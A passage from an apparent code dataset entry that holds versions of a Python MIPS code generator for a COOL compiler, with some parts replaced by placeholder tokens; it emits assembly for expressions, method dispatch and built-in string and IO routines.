end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n\n def static_datas(self):\n self.write_file('str_buffer: .space 1025')\n self.write_file('')\n self.write_file(\n '_index_negative_msg: .asciiz \"Index to substr is negative\\\\n\"')\n self.write_file(\n '_index_out_msg: .asciiz \"Index out range exception\\\\n\"')\n self.write_file('_abort_msg: \"Execution aborted\\\\n\"')\n self.write_file('_div_zero_msg: \"Division by zero exception\\\\n\"')\n self.write_file('')\n <function token>\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, 